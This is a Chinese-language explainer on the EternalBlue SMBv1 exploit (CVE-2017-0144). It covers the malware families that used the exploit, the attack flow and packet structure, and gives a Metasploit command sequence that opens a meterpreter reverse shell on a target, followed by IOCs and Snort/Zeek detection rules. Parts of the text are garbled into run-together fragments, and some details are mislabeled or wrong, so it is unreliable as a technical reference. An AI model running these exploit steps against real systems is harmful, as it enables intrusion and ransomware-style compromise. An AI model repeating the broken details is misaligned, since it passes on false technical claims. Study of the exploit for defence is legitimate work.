

"一个漏洞利用。数十种恶意软件家族。数十亿美元的损失。"
CVE-2017-0144 是 Microsoft Windows 中 SMBv1 服务器实现的一个严重远程代码执行漏洞。被称为 EternalBlue 的利用程序利用了这个漏洞,并用于高影响攻击(特别是 WannaCry)。
| # | 恶意软件 | 类型 | 首次发现 | 攻击者 | 损失 | 备注 |
|---|---|---|---|---|---|---|
| 1 | WannaCry | 勒索软件 | 2017年5月12日 | 拉撒路集团(朝鲜) | 40–80亿美元 | 杀开关:iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com |
| 2 | NotPetya | 擦除器(伪装成勒索软件) | 2017年6月27日 | Sandworm(俄罗斯) | 100亿美元以上 | 使用了 Mimikatz + EternalBlue + PSEXEC |
| 3 | Bad Rabbit | 勒索软件 | 2017年10月24日 | Indrik Spider | 区域性 | 通过虚假Flash更新驱动下载 |
| 4 | Uiwix | 勒索软件 | 2017年5月 | 未知 | 低 | 无杀开关,比WannaCry更隐蔽 |
| 5 | EternalRocks | 蠕虫 | 2017年5月 | 未知 | 中 | 7款NSA工具(包括DoublePulsar) |
| 6 | Adylkuzz | 加密货币矿工 | 2017年5月 | 未知 | 高(隐蔽) | 在WannaCry之前挖掘门罗币 |
| 7 | Retefe | 银行木马 | 2017–2018 | 未知 | 欧盟银行 | 使用EternalBlue进行横向移动 |
| 8 | TrickBot | 模块化恶意软件 | 2017–2021 | Wizard Spider | 全球 | 通过EternalBlue投放Ryuk |
| 9 | Emotet | 加载器 | 2017–2021 | TA542 | 全球 | 用作Cobalt Strike的入口 |
| 10 | Clop / Dridex | 勒索软件 | 2019–2025 | TA505 | 医疗、政府 | 2025年仍活跃 |
| 工具 | 发布 | 功能 |
|---|---|---|
| EternalBlue(原始版) | 2017年4月(Shadow Brokers) | SMBv1 RCE |
| DoublePulsar | 2017年4月 | 后门植入(ring0) |
| EternalRomance | 2017年4月 | SMBv3变种 |
| EternalChampion | 2017年4月 | 替代SMB路径 |
| Metasploit 模块 | 2017年5月 | exploit/windows/smb/ms17_010_eternalblue |
| FuzzBunch | 2017年4月 | NSA利用框架 |
| Impacket + PSEXEC | 2017–2025 | Python SMB利用 |
"一个畸形数据包。完全SYSTEM访问权限。无需登录。无需点击。"
[攻击者]
│
├──▶ 发送精心构造的 SMBv1 **Trans2** 请求
│ → 触发 `srv!SrvOS2FeaListSizeToNt` 中的 **堆溢出**
│
├──▶ 覆盖函数指针 → **内核 shellcode**
│
└──▶ 执行 **DoublePulsar** 后门 → **Ring-0 载荷**
(例如 WannaCry 的 `mssecsvc.exe`)
| 需求 | 详情 |
|---|---|
| 目标 | 启用 SMBv1 的 Windows(Windows 10 之前默认开启) |
| 开放端口 | 445/TCP(或通过 NetBIOS 的 139/TCP) |
| 无需认证 | 无需身份验证 — 不需要用户名/密码 |
| 架构 | x86 或 x64(均支持) |
| 补丁状态 | 未打补丁(MS17-010 之前) |
SMB_COM_NEGOTIATE → 客户端发送方言列表
服务器响应:SMBv1 支持 → 继续
为什么? 确认 SMBv1 处于活动状态。
\\TARGET\IPC$ → SMB 管道的匿名共享
目的:建立会话以发送事务请求。
SESSION_SETUPFEALIST {
SizeOfListInBytes = 0xFFFF(或大值)
...
}
漏洞触发:
SrvOS2FeaListSizeToNt()信任该大小而不进行边界检查。
FEA {
AttributeNameLength = 0x00
AttributeName = "A" * 0x1000 → 溢出缓冲区
}
堆喷射:分配大块内存以控制内存布局。
srv!SrvOS2FeaListSizeToNt(
PFEALIST FeaList, // 攻击者控制
PULONG pNtFeaListSize // 输出指针
)
{
// 未验证 FeaList->SizeOfListInBytes
memcpy(dest, src, FeaList->SizeOfListInBytes); // 崩溃
}
Free 例程)KeUserModeCallback)mssecsvc.exe)
0x00120034)Ping:0x0002C001Exec:0x0002C002 + 载荷WannaCry 示例:
EternalBlue → DoublePulsar → mssecsvc.exe → tasksche.exe → 加密文件
SMB 头部
└── 命令:0x32 (TRANSACTION2)
└── 设置:0x000E (SESSION_SETUP)
└── 参数:TotalDataCount = 0x1000
└── 数据:
[FEALIST]
SizeOfListInBytes = 0x1100
[FEA #1] NameLen=0, Name="A"*0x1000
[FEA #2] ...
[GROOM x100] → 喷射堆
[OVERFLOW] → 覆盖池
[SHELLCODE] → x64 ring0
| 工具 | 语言 | 模块 |
|---|---|---|
| Metasploit | Ruby | exploit/windows/smb/ms17_010_eternalblue |
| Impacket | Python | smbclient.py, psexec.py |
| FuzzBunch | Python (NSA) | EternalBlue-2.2.0 |
| 自定义C2 | C/C++ | WannaCry, NotPetya |
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.10
exploit
| 工件 | 位置 | 值 |
|---|---|---|
| DoublePulsar | 内核内存 | XOR 密钥 0x00120034 |
| Shellcode | srvnet.sys 池 | 0xCC 0x90 0x48 模式 |
| 注入的 DLL | C:\Windows\mssecsvc.exe | SHA256: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa |
alert tcp any any -> $HOME_NET 445 (
msg:"ETERNALBLUE 尝试";
flow:to_server,established;
content:"|ff|SMB2"; depth:5;
content:"|00 04 08 00|"; distance:100; within:4;
classtype:attempted-admin;
sid:1000001;
)
event smb1_transaction2_secondary(c: connection, hdr: SMB1::Header, args: SMB1::Trans2_Secondary_Args) {
if (args$data_len > 4096) {
NOTICE([$note=SMB::Large_Trans2_Data, $conn=c]);
}
}
while (true) {
扫描网络中的 445 端口
if (开放) → EternalBlue 利用
if (成功) → 投放 mssecsvc.exe + 传播
Sleep(随机(1000, 5000))
}
传播速度:全球约每小时 10,000 次感染。
| 因素 | 原因 |
|---|---|
| 无需认证 | SMBv1 允许匿名 IPC$ |
| 可蠕虫化 | 内置局域网扫描 |
| 内核 RCE | 绕过防病毒/用户提示 |
| 遗留 SMBv1 | 默认开启超过 15 年 |
| 未打补丁系统 | 关键基础设施中的 XP, 2003, 7 |
| 年份 | 成功率(未打补丁) |
|---|---|
| 2017 | 99% |
| 2020 | 85% |
| 2025 | 约60%(仅遗留系统) |
在没有 MS17-010 的 Windows 7/2008 R2 上仍然有效
EternalBlue = 被武器化的数学错误
SMB 中受信任的大小字段 → 内核堆溢出 → 任意代码 → 全球勒索软件大流行
SMB 数据包 → 缓冲区溢出 → 内核 Shellcode → DoublePulsar → 恶意软件